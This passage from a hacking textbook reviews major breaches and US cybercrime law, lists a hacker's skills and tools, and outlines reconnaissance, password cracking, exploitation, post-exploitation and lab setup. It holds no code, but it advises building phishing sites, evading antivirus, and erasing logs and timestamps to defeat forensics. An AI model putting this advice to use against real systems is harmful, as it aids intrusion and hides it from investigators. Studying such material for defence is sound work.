transferred to WikiLeaks, where they were released by Julian Assange and his comrades at WikiLeaks. In addition, the Russian hackers attempted to infiltrate the software of some voting machines, but were apparently unsuccessful. For more on how the Russian GRU compromised the 2016 US Presidential election, see <a href="https://www.hackers-arise.com/post/2018/07/15/confessions-of-a-professional-hacker-how-russian-hackers-compromised-the-2016-us-presiden">https://www.hackers-arise.com/post/2018/07/15/confessions-of-a-professional-hacker-how-russian-hackers-compromised-the-2016-us-presiden</a>

#### EternalBlue - 2017

In late 2016 and early 2017, a shadowy organization appropriately named the ShadowBrokers, was trying to sell exploits on the Internet that they said had been stolen from the US spy agency, NSA. When they were unable to sell them for their asking price, they released them on the web on April 14, 2017. These exploits were real, stolen exploits from the NSA and could effectively give their owner access to nearly any Windows 7 and earlier computer system with system administrator privileges. This exploit (hack) was known as EternalBlue and Eternal Romance. Within days, Microsoft released a patch known as MS17-010 in the spring of 2017. Unfortunately, not everyone patched their systems and this exploit was responsible for millions of computers being compromised in the next few months including the WannaCry, Petya and NotPetya ransomware (see below). Evidence would seem to indicate that the Shadow Brokers was an operation of Russian espionage agencies and associated bodies.

#### WannaCry - 2017

Nearly as soon as the EternalBlue exploit was released by the ShadowBrokers, someone used it to build the ransomware (ransomware encrypts the target's files and demands ransom to decrypt hem) known as WannaCry. The first attack began on Friday May 12, 2017 (29 days from the release of EternalBlue) and quickly spread to hundreds of thousands of computer systems around the world. This ransomware entered the computer system via SMB (Server Message Block protocol port 445. For more on SMB, see <u>www.hackers-arise.com/network-fundamentals</u>) using EternalBlue and then encrypted all the key files on the computer system including Microsoft Office documents (doc, xls, ppt) as well as graphic files and database files. The attackers demanded ransom for the decryption key to be paid via the crypto-currency, bitcoin. The damages from this ransomware are estimated in the billions of US dollars. Many believe that this ransomware was the work of North Korean state-sponsored hackers and may have been used to fund that economically isolated country's national budget needs.

#### NotPetya Ransomware - 2017

Having first appeared in the Ukraine and generally attributed to the Sandworm hacking unit in Russia, the ransomware spread throughout the world in days crippling businesses around the globe. This ransomware caused over \$10 billion in damage as businesses could not function without their data files, most notably the global shipping business Maersk. NotPetya also used NSA's EternalBlue to exploit the systems and then providing access to the files for encryption. This was probably the most devastating ransomware attack to date.

#### Starwood Hotels - 2018

In November 2018, the US hotel chain Marriott revealed that one of their subsidiaries', Starwood Hotels, reservation system had been breached. Nearly half a billion (yes, that's billion, meaning 7 percent of this planet's human population) of their guests' records had been stolen. Apparently, the hacker had been embedded in their systems for over four years before being detected. It is suspected that this was a state-sponsored attack and that the state in question is simply stockpiling data on potential targets in the West.

I hope this brief history of hacking clearly demonstrates to you its importance and significance of over the last 40 years or so. As more and more of our lives become digital, hacking and IT security will become even more important, making them the most valuable and critical skills of the twenty-first century.

#### Legal Stuff

Before we begin training to become master hackers, let's look at the law. So many of my readers have asked me "what is legal and illegal in hacking/pentesting" that I decided it was time to address it directly in this book. In our discipline, we may WANT to ignore the legal consequences (until they slap us upside the head) but that's not a prudent strategy. It may very well cut your hacking career short.

#### The Cyber Crime Law Enforcement

In the United States, most hacking is investigated and prosecuted by federal law enforcement. Surprisingly, the Secret Service is the lead agency, but they are primarily involved in coordinating the response, usually not in investigating. They delegate the investigation to one of the numerous federal agencies, but the FBI's Cyber Crime Task Force is the agency most often involved.

There are cybercrime task forces in each locality. They are generally assigned the smaller local cases as the local FBI special agents have limited training and background in hacking and forensics. They often rely on good-old detective work to solve these cases. I can't tell how many times hackers have been tracked down because they bragged about their exploits. You don't have to be a techno-genius to track down a bragging hacker who suddenly is awash in money.

Although federal law makes it a felony to do more than \$5,000 damage, the general rule is the FBI won't even get involved in cases that comprise less than \$100,000 in damages. Note that the key word here is "damages."This has nothing to do with how much the hacker takes, but rather how much damage is done to the individual or business. For instance, Amazon does \$230 billion per year in revenue or \$630 million per day or \$26 million per hour. If a hacker were to create a Denial of Service (DoS) against Amazon for one hour, the losses would be \$26million plus mitigation costs, legal costs and reputation loss. Good luck making that restitution after you are caught and found guilty!

#### **US Federal Laws Regarding Cyber Crime**

Federal agencies in the United States prosecute cases using two primary federal statutes; **USC Title 18 Sections 1029 and 1030**. These two statutes are so broad and ambiguous that many things not intended to be hacking could very well be found to be illegal.

USC Title 18 Section 1029 or **The Access Device** statute, was designed to criminalize the possession or use of counterfeit access devices, unauthorized access devices for the unauthorized access to money, goods or services. When this statute was written, it was designed primarily to criminalize the devices used by phone "phreakers" such as Steve Jobs and Steve Wozniak of Apple fame. Back then, phone phreakers used these devices that enabled them to get free long distance access.

The second of these two, **USC Title 18 Section 1030**, is most often used to prosecute hacking in the United States. That being the case, let's have a look at it. I have reprinted the key section that defines what activity is illegal below. I know there is a lot of legalese here, but let's try to stay focused and examine the critical sections closely.

(2) intentionally accesses a computer without authorization or exceeds authorized access, and thereby obtains—

(A) information contained in a financial record of a financial institution, or of a card issuer as defined in section 1602(n) of title 15, or contained in a file of a consumer reporting agency on a consumer, as such terms are defined in the Fair Credit Reporting Act (15 U.S.C. 1681 et seq.);
(B) information from any department or agency of the United States; or
(C) information from any protected computer;

#### USC Title 18 Section 1030

Please note the sections I have highlighted above to get your attention that among other things, prohibits accessing "information from any protected computer." Since the courts have ruled that a "protected computer" can be a computer with as little protection as a password, this means essentially that EVERY computer is covered in this section.

(3) intentionally, without authorization to access any nonpublic computer of a department or agency of the United States, accesses such a computer of that department or agency that is exclusively for the use of the Government of the United States or, in the case of a computer not exclusively for such use, is used by or for the Government of the United States and such conduct affects that use by or for the Government of the United States; (4) knowingly and with intent to defraud, accesses a protected computer without authorization, or exceeds authorized access, and by means of such conduct furthers the intended fraud and obtains anything of value, unless the object of the fraud and the thing obtained consists only of the use of the computer and the value of such use is not more than \$5,000 in any 1-year period; (5)(A) knowingly causes the transmission of a program, information, code, or command, and as a result of such conduct, intentionally causes damage without authorization, to a protected computer; (B) intentionally accesses a protected computer without authorization, and as a result of such conduct, recklessly causes damage; or (C) intentionally accesses a protected computer without authorization, and as a result of such conduct, causes damage and loss.<sup>1</sup>

USC Title 18 Section 1030

This section is key as well. It defines ways that a computer might be damaged such as "transmission of a program, information, code or command" or "accesses a protected computer without authorization" which then "causes damage or loss."

As you can see, this is so vaguely worded that even a **vulnerability scan** might be construed as criminal if the prosecutor and "victim" can show there was damage or loss. Imagine a scenario where you are doing a vulnerability scan on a poorly designed website and it crashes as a result. You may have committed a federal felony!

So, that is the key law. I left out the section on penalties, but you can imagine that it's not fun reading.

#### DMCA

The Digital Millenium Copyright Act or DMCA was passed by the US Congress in 1998 to protect against intellectual property (IP) pirating. This law specifically protects copyrighted material from unauthorized access. The DMCA has both civil and criminal penalties for the use, manufacture and trafficking of devices that circumvent technological measures for controlling access to copyrighted material. To sum up, it is a criminal act to access any copyrighted material such as books, music, and movies. As we saw above in the history of hacking, Elcomsoft was prosecuted under this law for creating password-cracking software that might be used to crack DMCA protected material. That

prosecution was definitely a good example of prosecutorial overreach and luckily Elcomsoft was found not guilty.

#### Cyber Security Enhancement Act of 2002

In 2002, the US Congress decided to expand cybersecurity statutes into some areas previously uncovered. This was in the wake of the World Trade Towers attack of September 2001, commonly referred to as 9/11. The first thing this new statute did was allow for **life sentences** for a computer crime. If a computer crime results in another person's bodily harm or death, the hacker could be sentenced to life in prison. Consider SCADA/ICS attacks on national infrastructure such as oil refineries, chemical plants, the electrical grid, etc.(for more on SCADA Hacking and Security, see www.hackers-arise.com/scada-hacking).

In addition, the CSEA enabled law enforcement to acquire records of suspicious activity from service providers without the service provider having to inform the customer.

#### **Be Careful Out There!**

My message to all of you is simply, "Be careful out there!" Even if you don't have malicious intentions, the knowledge that you are about to acquire can be misconstrued as bad intentions. If a website blows up while you are scanning it, no one is going to ask about your intentions before they throw you in prison.

For someone like myself who has danced on both sides of the law, I can tell you first hand that when somebody finds out you have Kali or any hacking tools AND the knowledge of how to use them, you are suddenly guilty until proven innocent.

## 2

### Essential Skills and Tools of the Master Hacker

Everything happens one step at a time.

Hima Das



## The master hacker is THE most skilled information technology (IT) practitioner.

If you are a network engineer or a database administrator, you know how to manage networks and databases, respectively. You don't need to write code or understand other operating systems, etc. You simply need to understand your pigeonhole of the IT field and to do that, you have manuals and courses. On the other hand, the master hacker must master many, if not all, the IT disciplines to be able to break the systems. Often, there are no manuals, just the hacker's understanding of the fundamentals of how those systems work.

Don't be discouraged if you don't have all the skills listed below, but rather use this list as a starting point for what you need to study and master in the near future.

This is my overview of required skills to enter the pantheon of this elite IT profession. I've broken the skills into three categories to help you go from one rung to the other more easily: fundamental, intermediate, and intangible skills.

#### **The Fundamental Skills**

These are the basics that every hacker should know before even trying to hack. Once you have a good grasp on everything in this section, you can move into the intermediary level.

#### **1. Basic Computer Skills**

It probably goes without saying that to become a hacker you need some basic computer skills. These skills go beyond the ability to create a Word document, watch YouTube videos, or cruise the Internet. You need to be able to use the command line in Windows, edit the registry, and set up your networking parameters.

Many of these skills can be acquired in a basic computer course like the CompTIA A+.

#### 2. Networking Skills

You need to understand the basics of networking, such as;

DHCP NAT Subnetting IPv4 IPv6 Public v Private IP DNS Routers and switches VLANs OSI model MAC addressing ARP SMB SNMP

As we are often exploiting these technologies, the better you understand how they work, the more successful you will be. Look for my upcoming book "*Network Basics for Hackers*" in 2021 for more depth on this subject. In the meantime, you can study network basics on www.hackers-arise.com/networks-basics.

#### 3. Linux Skills

It is critical to develop Linux skills to become a hacker. Nearly all the tools we use as a hacker are developed for Linux and Linux gives us capabilities that we don't have using Windows or the MacOS.

If you need to improve your Linux skills, or you're just getting started with Linux, check out my new Linux series for beginners (<u>https://www.hackers-arise.com/linux-fundamentals</u>) or my "*Linux Basics for Hackers*" (<u>https://amzn.to/2JAsYUI</u>) from No Starch Press.

#### 4. Wireshark or Tcpdump

Wireshark is the most widely used sniffer/protocol analyzer, while tcpdump is a command line sniffer/protocol analyzer. Both can be extraordinarily useful in analyzing network traffic and attacks.

#### 5. Virtualization

You need to become proficient in using one of the virtualization software packages, such as VirtualBox or VMWare Workstation. A virtual environment provides you with a safe place to practice your hacks before you take them out in the real world. Eventually, you will want a virtual environment to analyze live malware or exploit the virtualization system.

#### 6. Security Concepts & Technologies

A good hacker understands security concepts and technologies. The only way to overcome the roadblocks established by the security admin's is to be familiar with them. The hacker must understand such things as PKI (public key infrastructure), SSL (secure sockets layer), IDS (intrusion detection system), firewalls, etc.

The beginner hacker can acquire many of these skills in a basic security course, such as CompTIA's Security+ or through my upcoming series on information security concepts

#### 7. Wi-Fi Technologies

In order to be able to hack Wi-Fi (802.11) you must first understand how it works—concepts such as encryption algorithms (WEP, WPA, WPA2), the four-way handshake, and WPS. In addition, understanding such as things as the protocol for connection, authentication, and the legal constraints on wireless technologies.

To get started, check out my tutorial on wireless hacking strategies on www.hackers-arise.com, then read my collection of Wi-Fi hacking guides for further information on each kind of encryption algorithms and for examples of how each hack works. Chapter 15 of this book is dedicated to Wi-Fi Hacks. My upcoming book, *Network Basics for Hackers*, will have an entire section on Wi-Fi (802.11) technologies.
### The Intermediate Skills

This is where things get interesting, and where you really start to get a feel for your capabilities as a hacker. Knowing all of these will allow you to advance to more intuitive hacks, where you call all the shots—not some other hacker.

### 8. Scripting

Without scripting skills, you will be relegated to using other hackers' tools. This limits your effectiveness. Every day a new tool exists, its effectiveness diminishes as security administrators come up with defenses.

To develop your own unique tools, you will need to become proficient in at least one of the scripting languages, including the BASH shell, and at least one of Perl, Python, or Ruby. You can find tutorials on these at <u>www.hackers-arise.com/scripting</u> or Chapter 16 "Malicious Python" in this book.

### 9. Database Skills

If you want to be able to proficiently hack databases, you will need to understand them and how they work. This includes the SQL language. I would also recommend mastery of one of the major Database Management Systems (DBMS)s such SQL Server, Oracle, or MySQL. I have a series of tutorials exclusively in SQL Injection (SQLi) at <u>https://www.hackers-arise.com/database-hacking</u>.

### **10. Web Applications**

Web applications are probably the most fertile ground for hackers in recent years. The more you understand about how web applications work and the databases behind them, the more successful you will be as a hacker. In addition, you will likely need to build your own website for phishing and other nefarious purposes. Check out my series on Web App Hacking at <u>www.hackers-arise.com/web-app-hacking</u>.

### **11.** Forensics

To become a good hacker, you must not be caught! You can't become a pro hacker sitting in a prison cell for five years (see my section on Legal Stuff in Chapter 1). The more you know about digital forensics, the better you can become at avoiding and evading detection. In Chapter 14, we look at ways to Cover Your Tracks. Also, check out my series on Digital Forensics and Network Forensics at <u>www.hackers-arise.com/network-forensics-1</u>.

### 12. Advanced TCP/IP

The beginner hacker must understand TCP/IP basics, but to rise to the intermediate level, you must understand the intimate details of the TCP/IP protocol stack and fields. These include how each of the fields (flags, window, df, tos, seq, ack, etc.) in both the TCP and IP packet can be manipulated and used against the victim system to enable man-in-the middle (MitM) attacks, among other things.



TCP/IP Header

### 13. Cryptography

Although one doesn't need to be a cryptographer to be a good hacker, the more you understand the strengths and weaknesses of each cryptographic algorithm, the better the chances of defeating it. In addition, cryptography can be used by the hacker to hide their activities and evade detection. For some basics of cryptography and cryptographic concepts, refer to Appendix A "Cryptography Basics for Hackers."

### **14. Reverse Engineering**

Reverse engineering enables you to open a piece of malware and rebuild it with additional features and capabilities. Just like in software engineering, no one builds a new application from scratch. Nearly every new exploit or malware uses components from other existing malware.

In addition, reverse engineering enables the hacker to take an existing exploit and change its signature so that it can fly past Intrusion Detection Systems (IDS) and antivirus (AV) software detection.

### **Intangible Skills**

Along with all these computer skills, the successful hacker must have some intangible skills. They include the following.

### **15. Think Creatively**

There is ALWAYS a way to hack a system and many ways to accomplish it. A good hacker can think creatively of multiple approaches to the same hack.

### **16. Problem-Solving Skills**

A hacker is always coming up against seemingly unsolvable problems, requiring the master hacker to be accustomed to thinking analytically and solving problems. This often demands that the hacker diagnose accurately what is wrong and then break the problem down into separate components. This is one of those abilities that usually only comes with many hours of practice.

### 17. Persistence

A hacker must be persistent. If you fail at first, try again. If that fails, come up with a new approach and try again. It is only through persistence that you will be able to hack the most secure systems.

I hope this gives you some guidelines to what you need to study and master if you want to ascend to the intermediate level of hacking.

### **Essential Tools**

Often when students start down the path toward becoming a master hacker, they can become overwhelmed by the plethora of available tools. This can lead to frustration and inertia, or worse, as the number of tools seems more than you can tackle and master.

For that reason, I have put together this list of **essential** tools a hacker needs to master. This does not mean that the others don't have value or that you should ignore them, but rather focus on these first to build your hacker/infosec skills.

### **Essential Tools of the Master Hacker**

Although there are literally thousands of infosec and hacking tools, here is my list of the most important tools for the aspiring master hacker. This is not meant to be an exhaustive list—I could have compiled a list of hundreds of excellent tools—but rather a list of what I consider to be **essential** tools. Of course, depending upon the task, choose the appropriate tool.

In no particular order, my choices are;

### Nmap

This is an essential tool for port scanning and much more. Among the very first port scanners developed, Nmap is still going strong after over twenty years. Its primary purpose was to probe target systems for open ports and services, but in recent years Fyodor and the nmap community have added additional capabilities, including nmap scripts that expand this tool in many new directions. See Chapter 5 of this book for the basics of nmap.

### Wireshark

Wireshark is one of those fabulous tools with which nearly everyone in the IT industry should be familiar. Wireshark is a sniffer that enables us to examine every packet, and thereby analyze what is wrong with our network or what the intruder was trying to do.

Wireshark enables you to interactively browse the data, develop display filters, and view a reconstructed stream of a TCP session. It can interpret hundreds of different protocols and each of their structures. Unfortunately, Wireshark has had its own issues with security vulnerabilities in recent years.

For more information on Wireshark, see Chapter 10 in this book or <u>https://www.hackers-arise.com/post/2018/09/24/network-forensics-wireshark-basics-part-1</u>

### Metasploit

Metasploit is the world's most popular exploitation framework. It packages nearly everything you need to conduct a pentest into a single software package—from scanning, exploitation, and post-exploitation.

The Metasploit framework is extensible with modules for payloads, auxiliary, exploits, encoders, postexploitation, and no-operation (NOP) generators. Metasploit is free, but does have commercial versions with additional features and costs.

Metasploit 5 was just released in late 2018 (look for my "*Metasploit Basics for Hackers*" in 2020) and has several new features, including new evasion modules. For information on Metasploit, see Chapter 9 in this book or see <u>https://www.hackers-arise.com/metasploit-1</u>

### BurpSuite

BurpSuite is an excellent tool for attacking web applications, with numerous integrated tools. There is a limited-capability free version and the pro version is \$399 per year from <u>www.portswigger.com</u>. For more on BurpSuite see <u>https://www.hackers-arise.com/post/2018/06/21/online-password-cracking-with-thc-hydra-and-burpsuite</u>

### Aircrack-ng

The Aircrack-ng suite is the premier wireless technology analysis and cracking tool. Many of the other Wi-Fi tools on the market are simply scripts and GUIs that enable the use of Aircrack-ng. It is a suite of tools for monitoring, dumping, cracking, even creating an Evil Twin, and more. For information aircrack-ng see Chapter 15 in this book or <a href="https://www.hackers-arise.com/wireless-hacks">https://www.hackers-arise.com/wireless-hacks</a>

#### Sysinternals

Sysinternals was first developed by Mark Russinovich, then became part of Microsoft when the software company purchased Russinovich's firm in 2006. Sysinternals are among the best tools to analyze what is actually taking place internally in your Microsoft operating system. They are designed to manage,

diagnose, troubleshoot, and monitor Windows operating systems. Among the most useful of these tools are Process Explorer and Process Monitor. For information on Sysinternal, see <u>https://www.hackers-</u>arise.com/post/2016/11/29/digital-forensics-part-7-live-analysis-with-sysinternals.

### Snort

Snort is the world's most widely used network intrusion detection system (NIDS). It was started by Marty Roesch as an open-source project, sold to Sourcefire and then purchased by the networking giant, Cisco, in 2013. It is now built into many of the Cisco networking and firewall products. Since Snort is still a community open-source project, it is also used in many other IDS products. For more information on Snort, see *Linux Basics for Hackers* and <u>https://www.hackers-arise.com/snort</u>.

### sqlmap

sqlmap is probably the best tool for automating SQL injection (SQLi) attacks against web forms. It is capable of database fingerprinting, dumping data from the database into csv files, and even accessing the underlying OS of the web server. For information on sqlmap see Chapter 13 or <u>https://www.hackers-arise.com/database-hacking</u>.

### Ettercap

Ettercap is a tool for conducting a MiTM (Man-in-The-Middle) attack on a LAN. Its user-friendly GUI makes this process relatively easy and enables the attacker to alter messages and packets. For information on Ettercap see <u>https://www.hackers-arise.com/post/2017/08/28/mitm-attack-with-ettercap</u>

### **OWASP-ZAP**

OWASP-ZAP is a free and open-source web application vulnerability scanning tool from the folks at the venerable OWASP project. Written in Java (therefore platform independent) with an excellent easy-to-use GUI, it can be mastered by even a novice in minutes. It is terrific for scanning web applications in search of known vulnerabilities. For more OWASP-ZAP, go to Chapter 7 in this book.

### John the Ripper

John the Ripper is the granddaddy of Linux based password cracking tools. Lightweight and fast, it can auto-detect the type of hash and then begin a dictionary attack first, followed by a brute-force attack, if the dictionary attack fails. This command-line tool is short on pretty user interfaces, but long on ease-of-use and effectiveness. For more on john the ripper, go to Chapter 8 in this book.

#### hashcat

hashcat is another Linux-based password cracker. Although not as easy to use as John the Ripper, many consider it one of the world's fastest open source password crackers. Among its many capabilities include

using a graphical processor unit (GPU) for faster password hash cracking (hashcat 3.0). For more on hashcat, go to <u>https://www.hackers-arise.com/post/2016/05/26/cracking-passwords-with-hashcat</u>

### BeEF

BeEF is the Browser Exploitation Framework Project. This tool enables the attacker to exploit the target's browser and then conduct a multitude of nefarious activities within their browser. For more information on BeEF, see Chapter 17 in this book or <u>https://www.hackers-arise.com/post/2017/05/22/browser-exploitation-framework-beef-part-1</u>

### THC-Hydra

THC-Hydra is one of the leading remote password cracking tools. It is capable of dictionary attacks against multiple protocols, most notably HTTP, HTTPS, SMB, and FTP protocols. For more information on THC-Hydra see see <u>https://www.hackers-arise.com/post/2018/06/21/online-password-cracking-with-thc-hydra-and-burpsuite</u>

### Nessus

Nessus is the most popular vulnerability scanner. Originally developed as an open-source project, it is now owned by Tenable. Nessus utilizes a vast database of known vulnerabilities and then probes the target systems for evidence of their existence.

Although the commercial version is over \$2,000, you can still find the "Essentials" version for free on their website. This version enables you to scan up to 16 IPs without charge. For more information on Nessus, see Chapter 7 in this book.

### Shodan

Shodan is the world's most dangerous search engine. It scans the Internet, not for keywords, but instead for web banners. It pulls the banner from nearly every IP address and then indexes that banner information for searching. This is an essential tool for finding sites that have useful characteristics, such as a particular web server, vulnerability, operating system, type of IoT or protocol. For more information on Shodan, see Chapter 5 in this book or <a href="https://www.hackers-arise.com/shodan">https://www.hackers-arise.com/shodan</a>

### Ollydbg

OllyDbg is a 32-bit (x86) debugger for Microsoft Windows. It analyzes and deciphers software where the source code is unavailable. OllyDbg is free to download and use.

OllyDbg is often used in reverse engineering of software as well as by programmers to make certain their programs are working as expected and for reverse engineering malware. For information on how to use Ollydbg, see <a href="https://www.hackers-arise.com/post/2017/10/03/reverse-engineering-malware-part-5-ollydbg-basics">https://www.hackers-arise.com/post/2017/10/03/reverse-engineering-malware-part-5-ollydbg-basics</a>.

### Summary

There are thousands of excellent tools for hacking and cyber security. In Kali Linux alone, there are hundreds of hacking tools. There are so many hacking tools, that it can be overwhelming to the novice hacker. It is my professional advice to start with these essential tools; master them and then move on to the many other powerful tools at your disposal. In that way, you will have a solid foundation toward becoming a master hacker.



### **The Hacker Process**

Hacking is a process, not a technology or tool.

Master OTW



### In reality, hacking shares few similarities to the hacking portrayed in movies and television shows.

To keep it attractive to the masses of lay and technically challenged viewers, these shows usually portray hackers with swirling geometric objects and animations on their computer screens. Then, in a matter of seconds, the hacker has access to all of the computer's resources.

In real life, hacking can be a long, tedious process that sometimes can take days, weeks, or even months. There are cases in the annals of hacking (for instance, the Carbanak Hack) where the attackers patiently worked for six to twelve months before compromising a highly valuable system such as a bank or national security system. Successful hackers spend a great deal of their time on reconnaissance of the systems, the network, and the users.

There was a time when a hacker could use a single exploit to enter just about any Windows system (Conficker worm, MS08-067) and occasionally a similar exploit still appears in the modern era (such as EternalBlue; we'll be working with the EternalBlue exploit through this book). As systems have become more and more secure, exploits have had to become more and more specialized. For instance, you may need to know the following to successfully exploit a system:

- 1. The operating system;
- 2. The service pack of the operating system;
- 3. What ports are open on the target system;
- 4. What services are running on the target system;
- 5. What applications are running on the target system; and
- 6. What language is used on the target system.

Sometimes, even more information is necessary. This specificity is why reconnaissance is so critical. You need to determine all this information before even beginning the game. In some cases, reconnaissance may take up to 90 percent of the time of the entire operation.

Reconnaissance is not as sexy as popping shell on the target system, but it is supremely critical in this era. If your reconnaissance is inadequate, all of your efforts will likely go for naught.

Although hacking is NOT a cookbook activity (a great hacker is creative and analytical. See Hacker Essentials in Chapter 2), we can generalize and say that you should take the following steps in your hacking process.

### Fingerprinting

Fingerprinting is the process of enumerating the following attributes of a target:

- 1. Users
- 2. Hosts
- 3. Network Topology
- 4. Operating Systems
- 5. Services

The hacker can gather all of this information in a multitude of ways. Generally, our discipline categorizes these as either active or passive. Let's take a look at each of these below.

### **Passive Reconnaissance**

Passive reconnaissance is the process of learning about the target without ever directly interacting with it. In other words, you can gather information about the target from third-party sources, such as DNS, Shodan, Netcraft, Google, social networking sites, and others. The key to passive reconnaissance is to gather as much information about the target as you can without ever interacting with it and alerting the target of your interest. All the information comes from sources that have gathered the information previously. All we do is then harvest that information. In some circles, these techniques are known as open-source intelligence or OSINT (for more on OSINT, see <u>www.hackers-arise.com/osint</u>). In some cases, finding key information about the target can be critical to effective and efficient password cracking (see Chapter 8).

### **Active Reconnaissance**

Active reconnaissance, as you probably already guessed, is information gathered while actively interacting with the target. Active reconnaissance is risky, but usually provides the attacker with more reliable and accurate information. Very often, this is through port scanning with tools such as nmap, hping3 or banner grabbing (see Chapter 6). Much more specific information can be gathered in the active reconnaissance phase, but it risks detection by the target, as every packet and probe has the signature of the sender. This phase of reconnaissance also risks triggering security devices such as firewalls and intrusion detection systems (IDS).

### **Password Cracking**

Password cracking is a specialty that—when successful—can render significant rewards to the practitioner. In 2019, most systems are still protected by a single password and not the two-factor authentication (2FA) that would make them so much safer. If you can crack the password, you gain all the user's permissions and rights.

As security has become more and more important, passwords have become more and more difficult to crack. A password from the dictionary or other common alphanumeric combinations (qwerty, 12345678, etc.) can be broken in seconds. On the other hand, a ten-character password containing upper- and lower-case letters, numbers, and special characters would require a brute-force attack to attempt 56,000,000,000,000,000,000 possibilities! Depending upon the tool the hacker uses, such a brute-force attack can take a very, very long time. Despite this—from the captured password dumps on the dark web—we know that the favorite passwords are:

- 1. 123456
- 2. password
- 3. 123456789
- 4. 12345678
- 5. 12345
- 6. 111111
- 7. 1234567
- 8. sunshine
- 9. qwerty

10.	iloveyou
11.	princess
12.	admin
13.	welcome
14.	666666
15.	abc123
16.	football
17.	123123
18.	monkey
19.	654321
20.	!@#\$%^&*
21.	charlie
22.	aa123456
23.	donald
24.	password1
~ -	100

25. qwerty123

If someone on the network is using one of these common passwords, or the 5,000 other most-common passwords, the attacker can crack it in seconds!

There are at least two types of password cracking, online and offline. Offline cracking is much simpler once the password hash (most passwords are stored in one-way encryption known as a hash. See Appendix A, "Cryptography Basics for Hackers") has been obtained and the hacker can employ whatever resources are at their disposal to crack it. Online cracking is far more difficult, as many systems have lockouts that can limit our attempts.

### Exploitation

If we have failed with password-cracking, the next step is to attempt exploitation. Based on the information garnered in the reconnaissance phase, we can develop a strategy for exploitation. Exploitation is usually accomplished because of a flaw in the operating system or application. The most notorious of these flaws is the buffer overflow. The buffer overflow occurs when a variable area is overflowed with too much, or with a specific type, of data and then enables the attacker to place their remote code (usually a rootkit, payload, or listener) in its place. This replacement code is then executed by the target system, and the attacker then connects to and controls the target system (for more on buffer overflows see Exploit Development, Part 1 at <a href="https://www.hackers-arise.com/single-post/2017/05/26/Exploit-Development-Part-1-Anatomy-of-Buffer-Overflows">https://www.hackers-arise.com/single-post/2017/05/26/Exploit-Development-Part-1-Anatomy-of-Buffer-Overflows</a>).

Although there are many tools and scripts available for exploitation, Metasploit is the tool of choice for the beginner-to-intermediate hacker. Metasploit is a framework for the exploitation(and other tools) against known vulnerabilities in computer systems. The key words here are **"known** vulnerabilities." Metasploit does not help you hack with new, zero-day (never seen before) exploits, but instead catalogs and deploys tools and exploits against known vulnerabilities in operating systems, services, and applications.

It's important to note that systems are NOT always patched and up-to-date. As we saw in the History of Hacking section in Chapter 1, even after the patch for the EternalBlue exploit was released, the attackers

were able to exploit hundreds of thousands of systems around the world and garner billions of dollars in ransom.

In this book, we will focus on the use of Metasploit and some Python scripts for exploitation.

### **Post-Exploitation**

Post-exploitation is what happens after the hack, or exploitation. The hack gets the attacker inside the system, but access is generally just the beginning. Post-exploitation can include grabbing passwords, accessing the database, turning on and accessing the microphone or webcam, etc. It may also include pivoting to compromise other parts of the network. For instance, if the hacker can compromise a single user on the network, that user's systems will not likely have the valuable assets the hacker is seeking, such as the database that contains personally identifiable information, credit card numbers, or confidential information. The hacker needs to learn to pivot from the compromised system to other systems on the network to be successful.

### **Covering Tracks**

Once the exploitation is complete, and the post-exploitation havoc has been done (taking or reading documents, turning on the microphone, pivoting to other systems, etc.), the final task for the hacker is to cover their tracks. This phase makes it more difficult for a forensic investigator to be able to track the hacker's activity and actions. This can mean deleting or altering log files, deleting bash commands, changing timestamps on files, and others.

### Summary

Now that we have an idea of the process of hacking or exploitation, let's get started!

In the next chapter, we will set up the safe lab environment where we can practice without any chance of legal ramifications.

## 4

### **Building Your Hacking VirtualLab**

The desire for safety stands against every great and noble enterprise.

Tacitus



## Now that we competed all the preliminaries, let's get started hacking!

Before we launch our journey to becoming a master hacker, we must first build a safe lab where we can practice our tools and techniques. The best way to do that is to use a virtual environment. Virtualization enables you to run many operating systems all within the same physical machine, and thereby practice your skills in secure environment. There are numerous virtual machine environments available to you. These include VMware Workstation, VirtualBox, Parallels, Virtual PC, Xen, ESXi, Hyper-V, and any others. You can use any of these, but in the following section, I will walk you through setting up your hacking lab in Oracle's free VirtualBox. VirtualBox is solid choice for virtualization, and most importantly, it's free!

Virtualization means we can set up our attacking system, such as Kali, on the same physical computer as our victim system, such as Windows 7 or Metasploitable 2 (this is a purposely vulnerable Linux system).

There are at least two primary ways to virtualize operating systems, type-1 or full-virtualization and type-2 or hardware-assisted virtualization.



Type-1 virtualization runs on "bare-metal" or in other words, there is nothing between the virtualization system (hypervisor) and the hardware. In type-2 virtualization, we are able to run a guest operating system (OS) inside a host operating system. This is not the most efficient, but it is excellent as a lab environment. That's what we will do here with VirtualBox.

### Kali Linux

Let's begin by downloading our attack system, *Kali* Linux. It was developed by Offensive Security as a hacking/pentesting operating system built on a distribution of Linux called Debian. There are many distributions of Linux, and Debian is one of the best. You are probably most familiar with Ubuntu as a popular desktop distribution of Linux. Ubuntu is also built on Debian. Other distributions include Red Hat, CentOS, Mint, Arch, SUSE and several others. Although they all share the same Linux kernel (the heart of the operating system that controls the CPU, RAM, and so on), each has its own utilities, applications, and choice of graphical interface (GNOME, KDE, and others) for different purposes. As a result, each of these distributions of Linux looks and feels slightly different. Kali was designed for penetration testers and hackers and comes with a significant complement of hacking tools.

I strongly recommend that you use Kali for th**is book. Although you can use** other Linux distributions, you will likely spend significant amount of time downloading, installing and configuring the various tools we will be using (as many tools as Kali has, we will still need to download and install a few more).

You can download Kali Linux at www.kali.org.

From the home page, click the **Downloads** link at the top of the page, and it will take you to the Downloads page. Here, you'll be faced with multiple download choices, something like the figure below. These are the different versions of Kali for various systems.

KAL	URITY			Blog	Downloads	Training	Documentation	
					Linux [	Downlo	bads	
Down	oad Kali	Linu	ux Im	ages				
We generate f links to downl You can find concurrent co	We generate fresh Kali Linux image files every few months, which we make available for download. This page provides the links to download Kali Linux in its latest official release. For a release history, check our Kali Linux Releases page. Please note: You can find unofficial, untested weekly releases at http://cdimage.kali.org/kali-weekly/, Downloads are <b>rate limited to 5</b> concurrent connections.							
Image Nam	e Download	Size	Version		SHA	256Sum		
Kali Linux 64-	Bit HTTP   Torrent	3.2G	2019.2	67574ee0035	eaf4043a237e7c4b0eb	132ca07ebf9c7b2dd0	667e83bc3980b2cf	
Kali Linux 32-	Bit HTTP   Torrent	3.26	2019.2	1e03023bbd8	11fdec9c49717219c2c4	If62da3f99009df1bb	e73f158eef246282	
Kali Linux LXI 64-Bit	E HTTP   Torrent	3.0G	2019.2	cd0d7fc9523	/5de49b40208838f8fca	1984d5cbec9472f546	56dc351d09edc8dc	
